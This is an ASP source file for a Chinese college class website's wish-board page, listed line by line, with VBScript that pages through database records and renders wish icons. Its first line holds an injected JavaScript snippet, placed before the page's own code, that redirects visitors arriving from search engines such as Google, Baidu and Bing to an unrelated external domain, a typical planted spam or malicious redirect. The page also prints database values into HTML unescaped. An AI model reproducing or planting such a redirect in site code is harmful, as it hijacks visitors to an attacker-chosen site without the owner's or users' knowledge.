d:\wwwroot\wuchunhua\ͨѶ¼\xys\default.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<!--#include file="chklogin2.asp" -->
003:
<!--#include file="Connections/conn.asp" -->
004:
<%
005:
set rs = Server.CreateObject("ADODB.Recordset")
006:
rs.ActiveConnection = MM_conn_STRING
007:
rs.Source = "SELECT id, xyname, ggormm, xyid FROM xybook ORDER BY xydate DESC"
008:
rs.CursorType = 0
009:
rs.CursorLocation = 2
010:
rs.LockType = 3
011:
rs.Open()
012:
rs_numRows = 0
013:
%
>
014:
<%
015:
set rs1 = Server.CreateObject("ADODB.Recordset")
016:
rs1.ActiveConnection = MM_conn_STRING
017:
rs1.Source = "SELECT * FROM class"
018:
rs1.CursorType = 0
019:
rs1.CursorLocation = 2
020:
rs1.LockType = 3
021:
rs1.Open()
022:
rs1_numRows = 0
023:
%
>
024:
<%
025:
Dim HLooper1__numRows
026:
HLooper1__numRows = 12
027:
Dim HLooper1__index
028:
HLooper1__index = 0
029:
rs_numRows = rs_numRows + HLooper1__numRows
030:
%
>
031:
<%
032:
Dim HLooper2__numRows
033:
HLooper2__numRows = -6
034:
Dim HLooper2__index
035:
HLooper2__index = 0
036:
rs1_numRows = rs1_numRows + HLooper2__numRows
037:
%
>
038:
<%
039:
' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
040:
041:
' create the list of parameters which should not be maintained
042:
MM_removeList = "&index="
043:
If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
044:
MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
045:
046:
' add the URL parameters to the MM_keepURL string
047:
For Each Item In Request.QueryString
048:
NextItem = "&" & Item & "="
049:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
050:
MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
051:
End If
052:
Next
053:
054:
' add the Form variables to the MM_keepForm string
055:
For Each Item In Request.Form
056:
NextItem = "&" & Item & "="
057:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
058:
MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
059:
End If
060:
Next
061:
062:
' create the Form + URL string and remove the intial '&' from each of the strings
063:
MM_keepBoth = MM_keepURL & MM_keepForm
064:
if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
065:
if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
066:
if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
067:
068:
' a utility function used for adding additional parameters to these strings
069:
Function MM_joinChar(firstItem)
070:
If (firstItem <> "") Then
071:
MM_joinChar = "&"
072:
Else
073:
MM_joinChar = ""
074:
End If
075:
End Function
076:
%
>
077:
<%
078:
' *** СÌ﹤×÷ÊÒUD²å¼þϵÁÐ Limit Pages List v1.0.0 (¸Ä±à×ÔPagesList)
079:
080:
' set the record count
081:
rs_total = rs.RecordCount
082:
083:
' set the number of rows displayed on this page
084:
If (rs_numRows < 0) Then
085:
rs_numRows = rs_total
086:
Elseif (rs_numRows = 0) Then
087:
rs_numRows = 1
088:
End If
089:
090:
' set the first and last displayed record
091:
rs_first = 1
092:
rs_last = rs_first + rs_numRows - 1
093:
094:
' if we have the correct record count, check the other stats
095:
If (rs_total <> -1) Then
096:
If (rs_first > rs_total) Then rs_first = rs_total
097:
If (rs_last > rs_total) Then rs_last = rs_total
098:
If (rs_numRows > rs_total) Then rs_numRows = rs_total
099:
End If
100:
%
>
101:
<%
102:
' *** Recordset Stats: if we don't know the record count, manually count them
103:
104:
If (rs_total = -1) Then
105:
106:
' count the total records by iterating through the recordset
107:
rs_total=0
108:
While (Not rs.EOF)
109:
rs_total = rs_total + 1
110:
rs.MoveNext
111:
Wend
112:
113:
' reset the cursor to the beginning
114:
If (rs.CursorType > 0) Then
115:
rs.MoveFirst
116:
Else
117:
rs.Requery
118:
End If
119:
120:
' set the number of rows displayed on this page
121:
If (rs_numRows < 0 Or rs_numRows > rs_total) Then
122:
rs_numRows = rs_total
123:
End If
124:
125:
' set the first and last displayed record
126:
rs_first = 1
127:
rs_last = rs_first + rs_numRows - 1
128:
If (rs_first > rs_total) Then rs_first = rs_total
129:
If (rs_last > rs_total) Then rs_last = rs_total
130:
131:
End If
132:
%
>
133:
<%
134:
' *** Move To Record and Go To Record: declare variables
135:
136:
Set MM_rs = rs
137:
MM_rsCount = rs_total
138:
MM_size = rs_numRows
139:
MM_uniqueCol = ""
140:
MM_paramName = ""
141:
MM_offset = 0
142:
MM_atTotal = false
143:
MM_paramIsDefined = false
144:
If (MM_paramName <> "") Then
145:
MM_paramIsDefined = (Request.QueryString(MM_paramName) <> "")
146:
End If
147:
%
>
148:
<%
149:
' *** Move To Record: handle 'index' or 'offset' parameter
150:
151:
if (Not MM_paramIsDefined And MM_rsCount <> 0) then
152:
153:
' use index parameter if defined, otherwise use offset parameter
154:
r = Request.QueryString("index")
155:
If r = "" Then r = Request.QueryString("offset")
156:
If r <> "" Then MM_offset = Int(r)
157:
158:
' if we have a record count, check if we are past the end of the recordset
159:
If (MM_rsCount <> -1) Then
160:
If (MM_offset >= MM_rsCount Or MM_offset = -1) Then ' past end or move last
161:
If ((MM_rsCount Mod MM_size) > 0) Then ' last page not a full repeat region
162:
MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
163:
Else
164:
MM_offset = MM_rsCount - MM_size
165:
End If
166:
End If
167:
End If
168:
169:
' move the cursor to the selected record
170:
i = 0
171:
While ((Not MM_rs.EOF) And (i < MM_offset Or MM_offset = -1))
172:
MM_rs.MoveNext
173:
i = i + 1
174:
Wend
175:
If (MM_rs.EOF) Then MM_offset = i ' set MM_offset to the last possible record
176:
177:
End If
178:
%
>
179:
<%
180:
' *** Move To Record: if we dont know the record count, check the display range
181:
182:
If (MM_rsCount = -1) Then
183:
184:
' walk to the end of the display range for this page
185:
i = MM_offset
186:
While (Not MM_rs.EOF And (MM_size < 0 Or i < MM_offset + MM_size))
187:
MM_rs.MoveNext
188:
i = i + 1
189:
Wend
190:
191:
' if we walked off the end of the recordset, set MM_rsCount and MM_size
192:
If (MM_rs.EOF) Then
193:
MM_rsCount = i
194:
If (MM_size < 0 Or MM_size > MM_rsCount) Then MM_size = MM_rsCount
195:
End If
196:
197:
' if we walked off the end, set the offset based on page size
198:
If (MM_rs.EOF And Not MM_paramIsDefined) Then
199:
If (MM_offset > MM_rsCount - MM_size Or MM_offset = -1) Then
200:
If ((MM_rsCount Mod MM_size) > 0) Then
201:
MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
202:
Else
203:
MM_offset = MM_rsCount - MM_size
204:
End If
205:
End If
206:
End If
207:
208:
' reset the cursor to the beginning
209:
If (MM_rs.CursorType > 0) Then
210:
MM_rs.MoveFirst
211:
Else
212:
MM_rs.Requery
213:
End If
214:
215:
' move the cursor to the selected record
216:
i = 0
217:
While (Not MM_rs.EOF And i < MM_offset)
218:
MM_rs.MoveNext
219:
i = i + 1
220:
Wend
221:
End If
222:
%
>
223:
<%
224:
' *** Move To Record: update recordset stats
225:
226:
' set the first and last displayed record
227:
rs_first = MM_offset + 1
228:
rs_last = MM_offset + MM_size
229:
If (MM_rsCount <> -1) Then
230:
If (rs_first > MM_rsCount) Then rs_first = MM_rsCount
231:
If (rs_last > MM_rsCount) Then rs_last = MM_rsCount
232:
End If
233:
234:
' set the boolean used by hide region to check if we are on the last record
235:
MM_atTotal = (MM_rsCount <> -1 And MM_offset + MM_size >= MM_rsCount)
236:
%
>
237:
<%
238:
' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
239:
240:
' create the list of parameters which should not be maintained
241:
MM_removeList = "&index=&god="
242:
If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
243:
MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
244:
245:
' add the URL parameters to the MM_keepURL string
246:
For Each Item In Request.QueryString
247:
NextItem = "&" & Item & "="
248:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
249:
MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
250:
End If
251:
Next
252:
253:
' add the Form variables to the MM_keepForm string
254:
For Each Item In Request.Form
255:
NextItem = "&" & Item & "="
256:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
257:
MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
258:
End If
259:
Next
260:
261:
' create the Form + URL string and remove the intial '&' from each of the strings
262:
MM_keepBoth = MM_keepURL & MM_keepForm
263:
if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
264:
if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
265:
if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
266:
267:
' a utility function used for adding additional parameters to these strings
268:
Function MM_joinChar(firstItem)
269:
If (firstItem <> "") Then
270:
MM_joinChar = "&"
271:
Else
272:
MM_joinChar = ""
273:
End If
274:
End Function
275:
%
>
276:
<%
277:
' *** Move To Record: set the strings for the first, last, next, and previous links
278:
279:
MM_keepMove = MM_keepBoth
280:
MM_moveParam = "index"
281:
282:
' if the page has a repeated region, remove 'offset' from the maintained parameters
283:
If (MM_size > 0) Then
284:
MM_moveParam = "offset"
285:
If (MM_keepMove <> "") Then
286:
params = Split(MM_keepMove, "&")
287:
MM_keepMove = ""
288:
For i = 0 To UBound(params)
289:
nextItem = Left(params(i), InStr(params(i),"=") - 1)
290:
If (StrComp(nextItem,MM_moveParam,1) <> 0) Then
291:
MM_keepMove = MM_keepMove & "&" & params(i)
292:
End If
293:
Next
294:
If (MM_keepMove <> "") Then
295:
MM_keepMove = Right(MM_keepMove, Len(MM_keepMove) - 1)
296:
End If
297:
End If
298:
End If
299:
300:
' set the strings for the move to links
301:
If (MM_keepMove <> "") Then MM_keepMove = MM_keepMove & "&"
302:
urlStr = Request.ServerVariables("URL") & "?" & MM_keepMove & MM_moveParam & "="
303:
MM_moveFirst = urlStr & "0"
304:
MM_moveLast = urlStr & "-1"
305:
MM_moveNext = urlStr & Cstr(MM_offset + MM_size)
306:
prev = MM_offset - MM_size
307:
If (prev < 0) Then prev = 0
308:
MM_movePrev = urlStr & Cstr(prev)
309:
%
>
310:
<html>
311:
<head>
312:
<title>ÆëÆë¹þ¶ûְҵѧԺ¼ÆÈí052--ÐíÔ¸°å</title>
313:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
314:
<script language="JavaScript">
315:
<!--
316:
function MM_openBrWindow(theURL,winName,features) { //v2.0
317:
window.open(theURL,winName,features);
318:
}
319:
320:
function openChromeslessWindow(openUrl, winName, wWidth, wHeight, wPosx, wPosy, wTIT,
321:
windowBORDERCOLOR, windowBORDERCOLORsel, windowTITBGCOLOR, windowTITBGCOLORsel,
322:
bCenter, sFontFamily, sFontSize, sFontColor){
323:
324:
openchromeless(openUrl,winName, wWidth, wHeight, wPosx, wPosy, wTIT, wTIT ,
325:
windowBORDERCOLOR, windowBORDERCOLORsel, windowTITBGCOLOR, windowTITBGCOLORsel,
326:
bCenter, sFontFamily, sFontSize, sFontColor);
327:
}
328:
//-->
329:
</script>
330:
<script id="chromeless" src="pz_chromeless_2.1.js"></script>
331:
<style>
332:
<!--
333:
.ziti {
334:
font-family: "ËÎÌå";
335:
font-size: 12px;
336:
font-weight: bold;
337:
color: #FFFFFF;
338:
}
339:
.ziti2 {
340:
font-family: "ËÎÌå";
341:
font-size: 1px;
342:
font-weight: normal;
343:
color: #FFFFFF;
344:
}
345:
-->
346:
</style>
347:
</head>
348:
<body bgcolor="#FFFFFF" text="#000000" background="images/back.gif" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
349:
<div align="center">
350:
<table width="775" border="0" align="center" cellpadding="0" cellspacing="0" height="73">
351:
<tr>
352:
<th height="53" scope="col"><img src="../pic/toplogo.jpg" width="775" height="80"><br>
353:
<font class=ziti2>1</font><table width="775" border="0" cellspacing="0" cellpadding="0">
354:
</table></th>
355:
</tr>
356:
<tr>
357:
<td height="20" background="tiao1.gif"><table width="775" border="0" cellspacing="0" cellpadding="0">
358:
<tr class="ziti">
359:
<th scope="col"><a href="../logined.asp"><font color="#FFFFFF">Ê×Ò³</font></a></th>
360:
<th scope="col"><a href="../photo/photo.asp"><font color="#FFFFFF">Ïà²á</font></a></th>
361:
<th scope="col"><a href="../liuyanban/liuyan.asp">
362:
<font color="#FFFFFF">ÁôÑÔ±¾</font></a></th>
363:
<th scope="col"><a href="../xys/"><font color="#FFFFFF">ÐíÔ¸°å</font></a></th>
364:
<th scope="col"><a href="../xiaozhitiao/xiaozhitiao1.asp">
365:
<font color="#FFFFFF">ÇÄÇÄ»°</font></a></th>
366:
<th scope="col"><a href="../zlx/zlx.asp"><font color="#FFFFFF">×ÊÁÏÏ»</font></a></th>
367:
<th scope="col"><a href="#"><font color="#FFFFFF">¹ÜÀí</font></a></th>
368:
<th scope="col"><a href="../denglu/denglu.asp"><font color="#FFFFFF">怫</font></a></th>
369:
</tr>
370:
</table></td>
371:
</tr>
372:
</table>
373:
</div>
374:
<div align="center" style="width: 993; height: 36">
375:
<center>
376:
<br>
377:
<table width="560" border="0" cellspacing="0" cellpadding="0" background="../pic/kuang1.jpg" class="css" style="border-collapse: collapse" bordercolor="#111111">
378:
<tr>
379:
<td width="9%" height="20"><a href="#">
380:
<img src="images/sign1114.gif" alt="ÐíÔ¸" border="0" onClick="MM_openBrWindow('xy.asp','ÐíÔ¸Ê÷','width=300,height=410')"></a></td>
381:
<td width="6%" height="20">¡¡</td>
382:
<td width="69%" height="20">
383:
<table width="286" align="center">
384:
<%
385:
startrw = 0
386:
endrw = HLooper2__index
387:
numberColumns = 6
388:
numrows = -1
389:
while((numrows <> 0) AND (Not rs1.EOF))
390:
startrw = endrw + 1
391:
endrw = endrw + numberColumns
392:
%
>
393:
<tr align="center" valign="top">
394:
<%
395:
While ((startrw <= endrw) AND (Not rs1.EOF))
396:
%
>
397:
<td height="8">
398:
<table width="91%" border="0" cellspacing="0" cellpadding="0" class="css">
399:
<tr>
400:
<td>
401:
<div align="center" class="ziti1"><img src="images/sign069.gif" width="10" height="10"><A HREF="class.asp?
<%
= MM_keepNone & MM_joinChar(MM_keepNone) & "xyid=" & rs1.Fields.Item("xyid").Value
%
>">
<%
=(rs1.Fields.Item("classname").Value)
%
></A><img src="images/sign069.gif" width="10" height="10"></div>
402:
</td>
403:
</tr>
404:
</table>
405:
</td>
406:
<%
407:
startrw = startrw + 1
408:
rs1.MoveNext()
409:
Wend
410:
%
>
411:
</tr>
412:
<%
413:
numrows=numrows-1
414:
Wend
415:
%
>
416:
</table>
417:
</td>
418:
<td width="16%" height="20"><a href="../logined.asp">
419:
<img src="images/homepage.gif" width="47" height="18" border="0"></a>
420:
</td>
421:
</tr>
422:
</table>
423:
</center>
424:
</div>
425:
<table width="50%" border="0" cellspacing="0" cellpadding="0" align="center">
426:
<tr>
427:
<td height=5></td>
428:
</tr>
429:
<tr>
430:
<td background="images/yy.gif" height=5></td>
431:
</tr>
432:
<tr>
433:
<td>
434:
<div align="center"></div>
435:
<table align="center" width="520">
436:
<%
437:
startrw = 0
438:
endrw = HLooper1__index
439:
numberColumns = 4
440:
numrows = 3
441:
while((numrows <> 0) AND (Not rs.EOF))
442:
startrw = endrw + 1
443:
endrw = endrw + numberColumns
444:
%
>
445:
<tr align="center" valign="top">
446:
<%
447:
While ((startrw <= endrw) AND (Not rs.EOF))
448:
%
>
449:
<td>
450:
<table width="5%" border="0" cellspacing="0" cellpadding="0" align="center" class="css">
451:
<tr>
452:
<td>
453:
<%
If (rs.Fields.Item("xyid").Value) = (2) Then 'script
%
>
454:
<a href="#"><img src="images/aiqing.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','xys',300,200,null,null,'xys', '#9999FF', '#000000', '#9999FF', '#FFFFFF' ,true,'Arial, Helvetica, sans-serif', '2','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','xys',510,250,null,null,'ÐíÔ¸Ê÷', '#000000', '#000000', '#FF0000', '#FFFFFF' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
455:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (2) script
%
>
456:
<%
If (rs.Fields.Item("xyid").Value) = (3) Then 'script
%
>
457:
<a href="#"><img src="images/mengxiang.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEE',510,250,null,null,'ÎÒµÄÃÎÏë', '#FFCC00', '#000000', '#FFCC00', '#CCCCCC' ,true,'Arial, Helvetica, sans-serif', '2','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEE',510,250,null,null,'ÎÒµÄÃÎÏë', '#000000', '#000000', '#FFCC00', '#CCCCCC' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
458:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (3) script
%
>
459:
<%
If (rs.Fields.Item("xyid").Value) = (1) Then 'script
%
>
460:
<a href="#"><img src="images/shiye.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','QQQ',510,250,null,null,'ÎÒµÄÊÂÒµ', '#000000', '#000000', '#9900FF', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','QQQ',510,250,null,null,'ÎÒµÄÊÂÒµ', '#000000', '#000000', '#9999FF', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
461:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (1) script
%
>
462:
<%
If (rs.Fields.Item("xyid").Value) = (4) Then 'script
%
>
463:
<a href="#"><img src="images/zhufu.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEEQ',510,250,null,null,'ÎÒµÄ×£¸£', '#000000', '#000000', '#CCFF00', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEEQ',510,250,null,null,'ÎÒµÄ×£¸£', '#000000', '#000000', '#CCFF00', '#808040' ,true,'Arial, Helvetica, sans-serif', '2','#000000')"></a>
464:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (4) script
%
>
465:
</td>
466:
</tr>
467:
<tr>
468:
<td>
469:
<div align="center">
470:
<%
If (rs.Fields.Item("ggormm").Value) = (1) Then 'script
%
>
471:
<img src="images/gg.gif" width="27" height="27">
472:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (1) script
%
>
473:
<%
If (rs.Fields.Item("ggormm").Value) = (2) Then 'script
%
>
474:
<img src="images/mm.gif" width="27" height="27">
475:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (2) script
%
>
476:
</div>
477:
</td>
478:
</tr>
479:
<tr>
480:
<td>
481:
<div align="center">
<%
=(rs.Fields.Item("xyname").Value)
%
><br>
482:
</div>
483:
</td>
484:
</tr>
485:
</table>
486:
</td>
487:
<%
488:
startrw = startrw + 1
489:
rs.MoveNext()
490:
Wend
491:
%
>
492:
</tr>
493:
<%
494:
numrows=numrows-1
495:
Wend
496:
%
>
497:
</table>
498:
</td>
499:
</tr>
500:
<tr>
501:
<td height="5" background="images/yy.gif"></td>
502:
</tr>
503:
</table>
504:
<p align="center" class="css"> µ±Ç°ÏÔʾµÚ
<%
=(rs_first)
%
> µ½µÚ
<%
=(rs_last)
%
> ¸öÔ¸Íû£¬Ò»¹²
<%
=(rs_total)
%
>¸öÔ¸Íû¡£<br>
505:
<%
506:
Forward = ">>>"
507:
Backward = "<<<"
508:
Delimiter = " | "
509:
Rec_Name = rs_total
510:
List_Num = 10
511:
Godspeed = 1
512:
if request.querystring("god") <> "" then
513:
Godspeed = request.querystring("god")
514:
end if
515:
if Godspeed <> 1 then
516:
Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed - MM_Size - 1 & "&god=" & Godspeed - MM_Size * List_Num & ">")
517:
Response.Write(Backward & "</a> ")
518:
end if
519:
if Rec_Name < Godspeed + MM_Size * List_Num then
520:
Matrix = Rec_Name
521:
else
522:
Matrix = Godspeed + MM_Size * (List_Num - 1)
523:
end if
524:
if MM_size=0 then
525:
mm_size=1
526:
end if
527:
528:
TM_counter = ( Godspeed - 1 )/MM_Size
529:
For i = Godspeed to Matrix step MM_Size
530:
TM_counter = TM_counter + 1
531:
if i <> MM_offset + 1 then
532:
Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & i-1 & "&god=" & Godspeed & ">")
533:
Response.Write(TM_counter & "</a>")
534:
else
535:
Response.Write("<b>" & TM_counter & "</b>")
536:
End if
537:
if( i <= Matrix - MM_Size ) then Response.Write(Delimiter)
538:
next
539:
if Rec_Name > Godspeed + MM_Size * List_Num - 1 then
540:
Response.Write(" <a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed + MM_Size * List_Num - 1 & "&god=" & Godspeed + MM_Size * List_Num & ">")
541:
Response.Write(Forward & "</a>")
542:
end if
543:
%
>
544:
</p>
545:
<!--#include file="bottom.asp" -->
546:
</body>
547:
</html>
548:
<%
549:
rs.Close()
550:
%
>
551:
<%
552:
set rs = nothing
553:
%
>
554:
<%
555:
rs1.Close()
556:
%
>
557:
<%
558:
set rs1 = nothing
559:
%
>
560:
561: